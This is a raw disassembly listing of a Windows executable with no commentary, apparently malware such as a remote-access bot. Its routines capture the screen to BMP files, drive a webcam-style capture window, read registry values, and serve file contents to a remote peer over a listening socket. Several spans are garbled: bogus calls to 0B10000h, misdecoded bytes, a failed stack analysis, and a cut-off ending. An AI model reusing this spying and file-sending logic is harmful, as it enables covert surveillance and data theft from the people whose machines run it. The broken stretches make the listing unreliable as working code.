GetDeviceCaps push 0Ah push edi mov [ebp-8], eax call ds:dword_4CDC00 ; GetDeviceCaps push 0Ch push edi mov [ebp-0Ch], eax call ds:dword_4CDC00 ; GetDeviceCaps cmp eax, 8 mov [ebp-10h], eax ja short loc_415520 push 18h push edi call ds:dword_4CDC00 ; GetDeviceCaps mov ebx, 100h jmp short loc_415522 ; --------------------------------------------------------------------------- loc_415520: ; CODE XREF: seg000:0041550Ej xor ebx, ebx loc_415522: ; CODE XREF: seg000:0041551Ej push edi call ds:dword_4CDC44 ; CreateCompatibleDC cmp eax, esi mov [ebp-4], eax jz loc_4156D7 mov eax, [ebp-8] push esi mov [ebp-80h], eax mov eax, [ebp-0Ch] mov [ebp-7Ch], eax mov ax, [ebp-10h] mov [ebp-76h], ax lea eax, [ebp-18h] push esi push eax lea eax, [ebp-84h] push 1 push eax push edi mov dword ptr [ebp-84h], 28h mov word ptr [ebp-78h], 1 mov [ebp-74h], esi mov [ebp-70h], esi mov [ebp-6Ch], esi mov [ebp-68h], esi mov [ebp-64h], ebx mov [ebp-60h], ebx call ds:dword_4CDC3C ; CreateDIBSection cmp eax, esi mov [ebp-1Ch], eax jz loc_4156E2 push eax push dword ptr [ebp-4] call ds:dword_4CDAC8 ; SelectObject cmp eax, esi jz loc_4156E2 cmp eax, 0FFFFFFFFh jz loc_4156E2 push 0CC0020h push esi push esi push edi push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push esi push esi push dword ptr [ebp-4] call ds:dword_4CDC40 ; BitBlt test eax, eax jz loc_4156E2 cmp ebx, esi jz short loc_4155DF lea eax, [ebp-484h] push eax push ebx push esi push dword ptr [ebp-4] call ds:dword_4CDB1C ; GetDIBColorTable mov ebx, eax loc_4155DF: ; CODE XREF: seg000:004155C9j mov edi, [ebp-10h] mov ecx, [ebp-8] imul edi, [ebp-0Ch] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp-8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp-26h], eax mov eax, [ebp-0Ch] push esi push esi push 40000000h push dword ptr [ebp+8] mov [ebp-50h], eax mov ax, [ebp-10h] mov word ptr [ebp-30h], 4D42h mov [ebp-2Eh], edx mov [ebp-2Ah], si mov [ebp-28h], si mov dword ptr [ebp-58h], 28h mov [ebp-54h], ecx mov word ptr [ebp-4Ch], 1 mov [ebp-4Ah], ax mov [ebp-48h], esi mov [ebp-44h], esi mov [ebp-40h], esi mov [ebp-3Ch], esi mov [ebp-38h], ebx mov [ebp-34h], esi call ds:dword_4280EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz short loc_4156C2 lea ecx, [ebp-14h] push esi push ecx lea ecx, [ebp-30h] push 0Eh push ecx push eax call near ptr 0B10000h push ss lea eax, [ebp-14h] push esi push eax lea eax, [ebp-58h] push 28h push eax push dword ptr [ebp+8] call near ptr 0B10000h js short near ptr loc_4156C2+2 fidiv word ptr [eax+ebx-73h] inc ebp in al, dx push esi push eax lea eax, [ebp-484h] push dword ptr [ebp-8] push eax push dword ptr [ebp+8] call near ptr 0B10000h nop lea eax, [ebp-14h] push esi push eax push edi push dword ptr [ebp-18h] push dword ptr [ebp+8] call near ptr 0B10000h mov ebp, 0FF0875FFh adc eax, offset dword_42806C xor esi, esi inc esi loc_4156C2: ; CODE XREF: seg000:00415660j ; seg000:00415687j push dword ptr [ebp-1Ch] call ds:dword_4CDB54 ; DeleteObject push dword ptr [ebp-4] call ds:dword_4CDAB4 ; DeleteDC mov edi, [ebp-20h] loc_4156D7: ; CODE XREF: seg000:0041552Ej push edi call ds:dword_4CDAB4 ; DeleteDC mov eax, esi jmp short loc_4156F4 ; --------------------------------------------------------------------------- loc_4156E2: ; CODE XREF: seg000:00415585j ; seg000:00415597j ... push edi call ds:dword_4CDAB4 ; DeleteDC push dword ptr [ebp-4] call ds:dword_4CDAB4 ; DeleteDC loc_4156F2: ; CODE XREF: seg000:004154E1j xor eax, eax loc_4156F4: ; CODE XREF: seg000:004156E0j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156F9 proc near ; CODE XREF: seg000:00408E61p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push ds:dword_4D57E8 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call ds:dword_4CDB48 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415737 mov eax, esi jmp loc_4158ED ; --------------------------------------------------------------------------- loc_415737: ; CODE XREF: sub_4156F9+35j push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_415754 push ebx push [ebp+arg_4] push 40Ah push edi call ds:dword_4CDC54 ; SendMessageA jmp short loc_415756 ; --------------------------------------------------------------------------- loc_415754: ; CODE XREF: sub_4156F9+47j xor eax, eax loc_415756: ; CODE XREF: sub_4156F9+59j cmp eax, ebx jnz short loc_415761 loc_41575A: ; CODE XREF: sub_4156F9+88j ; sub_4156F9+BCj mov ebx, esi jmp loc_4158E2 ; --------------------------------------------------------------------------- loc_415761: ; CODE XREF: sub_4156F9+5Fj push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_41577E lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call ds:dword_4CDC54 ; SendMessageA loc_41577E: ; CODE XREF: sub_4156F9+71j cmp [ebp+var_20], ebx jz short loc_41575A push edi call ds:dword_4CDB98 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_4157A4 push ebx push ebx push edi push [ebp+var_4] call ds:dword_4CDC54 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_4157A7 ; --------------------------------------------------------------------------- loc_4157A4: ; CODE XREF: sub_4156F9+98j mov [ebp+arg_4], ebx loc_4157A7: ; CODE XREF: sub_4156F9+A9j push [ebp+arg_4] call sub_41B6C5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_41575A push [ebp+arg_4] call sub_41B6C5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4157CE xor ebx, ebx inc ebx jmp loc_4158E2 ; --------------------------------------------------------------------------- loc_4157CE: ; CODE XREF: sub_4156F9+CBj push [ebp+var_4] call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_4157EB push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call ds:dword_4CDC54 ; SendMessageA loc_4157EB: ; CODE XREF: sub_4156F9+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C500 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415806 mov ecx, 280h loc_415806: ; CODE XREF: sub_4156F9+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415812 mov eax, 1E0h loc_415812: ; CODE XREF: sub_4156F9+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call ds:dword_4CDB98 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_41585C push esi push [ebp+arg_4] push edi push [ebp+var_4] call ds:dword_4CDC54 ; SendMessageA loc_41585C: ; CODE XREF: sub_4156F9+153j push [ebp+var_4] call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_415879 push ebx push ebx push 43Dh push [ebp+var_4] call ds:dword_4CDC54 ; SendMessageA loc_415879: ; CODE XREF: sub_4156F9+16Ej push [ebp+var_4] call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_415898 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call ds:dword_4CDC54 ; SendMessageA loc_415898: ; CODE XREF: sub_4156F9+18Bj push [ebp+var_4] call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_4158B5 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call ds:dword_4CDC54 ; SendMessageA loc_4158B5: ; CODE XREF: sub_4156F9+1AAj push [ebp+var_8] call sub_41B2A1 push esi call sub_41B2A1 pop ecx pop ecx push [ebp+var_4] call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_4158E2 push ebx push ebx push 40Bh push [ebp+var_4] call ds:dword_4CDC54 ; SendMessageA loc_4158E2: ; CODE XREF: sub_4156F9+63j ; sub_4156F9+D0j ... push [ebp+var_4] call ds:dword_4CDCA8 ; DestroyWindow mov eax, ebx loc_4158ED: ; CODE XREF: sub_4156F9+39j pop edi pop esi pop ebx leave retn sub_4156F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4158F2 proc near ; CODE XREF: seg000:00408F1Dp var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push ds:dword_4D57E8 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call ds:dword_4CDB48 mov edi, eax cmp edi, ebx jnz short loc_415930 mov eax, esi jmp loc_415B2C ; --------------------------------------------------------------------------- loc_415930: ; CODE XREF: sub_4158F2+35j push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_41594D push ebx push [ebp+arg_4] push 40Ah push edi call ds:dword_4CDC54 ; SendMessageA jmp short loc_41594F ; --------------------------------------------------------------------------- loc_41594D: ; CODE XREF: sub_4158F2+47j xor eax, eax loc_41594F: ; CODE XREF: sub_4158F2+59j cmp eax, ebx jnz short loc_41595A loc_415953: ; CODE XREF: sub_4158F2+8Bj ; sub_4158F2+BCj mov ebx, esi jmp loc_415B23 ; --------------------------------------------------------------------------- loc_41595A: ; CODE XREF: sub_4158F2+5Fj push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_41597A lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call ds:dword_4CDC54 ; SendMessageA loc_41597A: ; CODE XREF: sub_4158F2+71j cmp [ebp+var_7C], ebx jz short loc_415953 push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_41599D push ebx push ebx push 42Ch push edi call ds:dword_4CDC54 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_4159A0 ; --------------------------------------------------------------------------- loc_41599D: ; CODE XREF: sub_4158F2+96j mov [ebp+arg_4], ebx loc_4159A0: ; CODE XREF: sub_4158F2+A9j push [ebp+arg_4] call sub_41B6C5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415953 push [ebp+arg_4] call sub_41B6C5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4159C7 xor ebx, ebx inc ebx jmp loc_415B23 ; --------------------------------------------------------------------------- loc_4159C7: ; CODE XREF: sub_4158F2+CBj push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_4159E4 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call ds:dword_4CDC54 ; SendMessageA loc_4159E4: ; CODE XREF: sub_4158F2+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C500 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4159FF mov ecx, 0A0h loc_4159FF: ; CODE XREF: sub_4158F2+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415A09 push 78h pop eax loc_415A09: ; CODE XREF: sub_4158F2+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_415A4E push esi push [ebp+arg_4] push 42Dh push edi call ds:dword_4CDC54 ; SendMessageA loc_415A4E: ; CODE XREF: sub_4158F2+14Aj push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_415A6B lea eax, [ebp+var_64] push eax push 60h push 441h push edi call ds:dword_4CDC54 ; SendMessageA loc_415A6B: ; CODE XREF: sub_4158F2+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_415AA9 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call ds:dword_4CDC54 ; SendMessageA loc_415AA9: ; CODE XREF: sub_4158F2+1A3j push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_415AC4 push [ebp+arg_0] push ebx push 414h push edi call ds:dword_4CDC54 ; SendMessageA loc_415AC4: ; CODE XREF: sub_4158F2+1C0j push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_415ADD push ebx push ebx push 43Eh push edi call ds:dword_4CDC54 ; SendMessageA loc_415ADD: ; CODE XREF: sub_4158F2+1DBj push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_415AFA push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call ds:dword_4CDC54 ; SendMessageA loc_415AFA: ; CODE XREF: sub_4158F2+1F4j push [ebp+var_4] call sub_41B2A1 push esi call sub_41B2A1 pop ecx pop ecx push edi call ds:dword_4CDB98 ; IsWindow test eax, eax jz short loc_415B23 push ebx push ebx push 40Bh push edi call ds:dword_4CDC54 ; SendMessageA loc_415B23: ; CODE XREF: sub_4158F2+63j ; sub_4158F2+D0j ... push edi call ds:dword_4CDCA8 ; DestroyWindow mov eax, ebx loc_415B2C: ; CODE XREF: sub_4158F2+39j pop edi pop esi pop ebx leave retn sub_4158F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B31 proc near ; CODE XREF: seg000:004040A2p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp ds:off_438E44, ebx mov [ebp+var_C], 80h jz loc_415CDD push esi push edi mov eax, offset off_438E44 mov esi, offset dword_438E50 mov edi, offset dword_43A05C loc_415B61: ; CODE XREF: sub_415B31+1A4j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call ds:dword_4CDC68 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call ds:dword_4CDAF8 ; RegQueryValueExA test eax, eax jnz loc_415CC4 mov eax, [esi] cmp eax, ebx jz loc_415C88 push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_42AAE4 push eax call sub_41BA76 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B6B2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415CC4 push eax jmp short loc_415BF1 ; --------------------------------------------------------------------------- loc_415BDC: ; CODE XREF: sub_415B31+D0j push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_415C05 push [ebp+var_8] loc_415BF1: ; CODE XREF: sub_415B31+A9j lea eax, [ebp+var_70] push 64h push eax call sub_41BD3F add esp, 0Ch test eax, eax jnz short loc_415BDC jmp short loc_415C7D ; --------------------------------------------------------------------------- loc_415C05: ; CODE XREF: sub_415B31+BBj push 3Dh push dword ptr [esi+4] call sub_41C1A0 pop ecx test eax, eax pop ecx lea eax, [ebp+var_70] jz short loc_415C44 push offset asc_43A058 ; "=" push eax call sub_41C2E4 push offset asc_43A058 ; "=" push ebx call sub_41C2E4 push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41BA76 add esp, 20h jmp short loc_415C58 ; --------------------------------------------------------------------------- loc_415C44: ; CODE XREF: sub_415B31+E5j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41BA76 add esp, 10h loc_415C58: ; CODE XREF: sub_415B31+111j push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 lea eax, [ebp+var_2F0] push eax call sub_4152AE add esp, 18h loc_415C7D: ; CODE XREF: sub_415B31+D2j push [ebp+var_8] call sub_41B24B pop ecx jmp short loc_415CC4 ; --------------------------------------------------------------------------- loc_415C88: ; CODE XREF: sub_415B31+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41BA76 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 lea eax, [ebp+var_2F0] push eax call sub_4152AE add esp, 28h loc_415CC4: ; CODE XREF: sub_415B31+60j ; sub_415B31+A2j ... push [ebp+var_4] call ds:dword_4CDBD4 ; RegCloseKey add esi, 18h lea eax, [esi-0Ch] cmp [eax], ebx jnz loc_415B61 pop edi pop esi loc_415CDD: ; CODE XREF: sub_415B31+19j pop ebx leave retn sub_415B31 endp ; --------------------------------------------------------------------------- dword_415CE0 dd 0B8EC8B55h, 11B4h, 6023E8h, 8458B00h, 6A575653h, 59F08B6Dh ; DATA XREF: seg000:004024CEo dd 0FE4CBD8Dh, 0A5F3FFFFh, 33EC75FFh, 0B08946F6h, 1B0h dd 0FE54858Dh, 0E850FFFFh, 1A41h, 8359D88Bh, 7559FFFBh dd 4C858D52h, 68FFFFEEh, 43A0D8h, 5D44E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 13E85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch dd 0F54CE850h, 75FFFFFFh, 551DE8F0h, 5959FFFFh, 0A28EE856h dd 68E3006Fh, 43FDB4h, 40B1E853h, 83590000h, 7559FFF8h dd 4C858D59h, 68FFFFEEh, 43A0A8h, 5CE0E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 0AFE85350h, 83FFFF3Bh, 858D14C4h, 0FFFFEE4Ch dd 0F4E8E850h, 5359FFFFh, 0DC9015FFh, 75FF004Ch, 54B1E8F0h dd 5659FFFFh, 6FA223E8h, 646A1800h, 806415FFh, 0FF330042h dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 85E85057h, 83000059h dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0DC1015FFh, 0C085004Ch dd 858D387Eh, 0FFFFEE4Ch, 42B0FC68h, 8DE85000h, 8D000062h dd 0FFEE4C85h, 0ECE850FFh, 8300003Dh, 0C0850CC4h, 646A1474h dd 806415FFh, 0A6A0042h, 0FF536EE8h, 59C085FFh, 858DA375h dd 0FFFFEE4Ch, 43A07468h, 1BE85000h, 3900005Ch, 5959F87Dh dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh dd 3AECE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFF425E8h dd 0FF5359FFh, 4CDC9015h, 0F075FF00h, 0FF53EEE8h, 0E85759FFh dd 6FA160h db 0D1h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EA1 proc near ; DATA XREF: seg000:0040924Fo var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_75 = byte ptr -75h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd xor ebx, ebx xor esi, esi inc ebx push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_10], esi mov [ebp+var_C], esi mov [ebp+var_20], esi call ds:dword_4CDC78 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_415EEF push offset unk_43A1D8 jmp loc_4160A8 ; --------------------------------------------------------------------------- loc_415EEF: ; CODE XREF: sub_415EA1+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_41B780 add esp, 0Ch mov [ebp+var_30], 2 push esi call ds:dword_4CDBF8 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call ds:dword_4CDC24 ; bind test eax, eax jz short loc_415F2D push offset unk_43A1B4 jmp loc_4160A8 ; --------------------------------------------------------------------------- loc_415F2D: ; CODE XREF: sub_415EA1+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call ds:dword_4CDB9C ; getsockname push [ebp+var_2E] call ds:dword_4CDB28 ; htons mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_41B1D0 pop ecx loc_415F5F: ; CODE XREF: sub_415EA1+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_415F72 push 5Fh pop eax jmp short loc_415F75 ; --------------------------------------------------------------------------- loc_415F72: ; CODE XREF: sub_415EA1+CAj movsx eax, al loc_415F75: ; CODE XREF: sub_415EA1+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_41B1D0 cmp [ebp+arg_0], eax pop ecx jbe short loc_415F5F push ebx push edi call ds:dword_4CDC20 ; listen test eax, eax jz short loc_415FA8 push offset unk_43A0D8 jmp loc_4160A8 ; --------------------------------------------------------------------------- loc_415FA8: ; CODE XREF: sub_415EA1+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call ds:dword_4280EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_415FD2 push offset unk_43A194 jmp loc_4160A8 ; --------------------------------------------------------------------------- loc_415FD2: ; CODE XREF: sub_415EA1+125j push esi push eax call near ptr 0B10000h aad 89h inc ebp or [eax+0Fh], dl mov bh, 45h cld push eax push [ebp+var_1FC] call sub_40AAF8 pop ecx push eax call ds:dword_4CDC38 ; inet_addr push eax call ds:dword_4CDBF4 ; htonl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_43A17C push eax call sub_41BA76 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409966 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call ds:dword_4CDBE0 ; select test eax, eax jg short loc_416082 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_43A164 push eax push [ebp+var_1FC] call sub_409966 jmp loc_4161A6 ; --------------------------------------------------------------------------- loc_416082: ; CODE XREF: sub_415EA1+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call ds:dword_4CDC8C ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_4160BB push offset unk_43A140 loc_4160A8: ; CODE XREF: sub_415EA1+49j ; sub_415EA1+87j ... lea eax, [ebp+var_3FC] push eax call sub_41BA76 pop ecx pop ecx jmp loc_4161A9 ; --------------------------------------------------------------------------- loc_4160BB: ; CODE XREF: sub_415EA1+200j push edi call ds:dword_4CDC90 ; closesocket cmp [ebp+arg_0], esi jz loc_41616D mov edi, 400h loc_4160D0: ; CODE XREF: sub_415EA1+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_4160DD mov [ebp+var_4], eax loc_4160DD: ; CODE XREF: sub_415EA1+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_41B780 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:dword_428120 ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call ds:dword_4280E8 ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call ds:dword_4CDC48 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call ds:dword_4CDC10 ; recv cmp eax, ebx jl loc_416202 mov eax, [ebp+var_4] cmp eax, ebx jl loc_416202 sub [ebp+arg_0], eax jnz loc_4160D0 mov edi, [ebp+var_18] loc_41616D: ; CODE XREF: sub_415EA1+224j push [ebp+var_8] call ds:dword_42806C ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_416994 pop ecx pop ecx push eax push [ebp+var_44] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset unk_43A114 push eax call sub_41BA76 loc_4161A6: ; CODE XREF: sub_415EA1+1DCj add esp, 14h loc_4161A9: ; CODE XREF: sub_415EA1+215j cmp [ebp+var_50], esi jnz short loc_4161CE push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409966 add esp, 14h loc_4161CE: ; CODE XREF: sub_415EA1+30Bj lea eax, [ebp+var_3FC] push eax call sub_4152AE cmp edi, esi pop ecx jbe short loc_4161E6 push edi call ds:dword_4CDC90 ; closesocket loc_4161E6: ; CODE XREF: sub_415EA1+33Cj push [ebp+var_1F8] call ds:dword_4CDC90 ; closesocket push [ebp+var_58] call sub_40B287 pop ecx push esi call near ptr 0B10000h hlt ; --------------------------------------------------------------------------- loc_416202: ; CODE XREF: sub_415EA1+2AFj ; sub_415EA1+2BAj push esi mov esi, offset dword_43A0FC push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_409966 push esi call sub_4152AE add esp, 18h push [ebp+var_1F8] call ds:dword_4CDC90 ; closesocket push [ebp+var_58] call sub_40B287 pop ecx push ebx call near ptr 0B10000h loc_416242: ; DATA XREF: seg000:00402271o cmp dl, [ebp+var_75] sub_415EA1 endp ; sp-analysis failed in al, dx mov eax, 14C4h call sub_41BD10 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd xor esi, esi xor ebx, ebx inc esi push 104h mov [eax+1B0h], esi lea eax, [ebp-2C4h] push eax mov [ebp-8], ebx call near ptr 0B10000h cld lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_42AAEC push eax call sub_41BA76 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:dword_4280EC ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_4162CD push offset unk_43A278 jmp short loc_416313 ; --------------------------------------------------------------------------- loc_4162CD: ; CODE XREF: seg000:004162C4j push eax call ds:dword_42806C ; CloseHandle lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B6B2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_4162F5 push offset unk_43A248 jmp short loc_416313 ; --------------------------------------------------------------------------- loc_4162F5: ; CODE XREF: seg000:004162ECj push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_417759 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_416326 push offset unk_43A228 loc_416313: ; CODE XREF: seg000:004162CBj ; seg000:004162F3j lea eax, [ebp-4C4h] push eax call sub_41BA76 pop ecx pop ecx jmp loc_416420 ; --------------------------------------------------------------------------- loc_416326: ; CODE XREF: seg000:0041630Cj mov esi, 1000h loc_41632B: ; CODE XREF: seg000:00416391j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B780 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call ds:dword_4CDC10 ; recv mov edi, eax cmp edi, ebx jz near ptr loc_4163F1+1 cmp edi, 0FFFFFFFFh jz short loc_416393 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D4D4 add 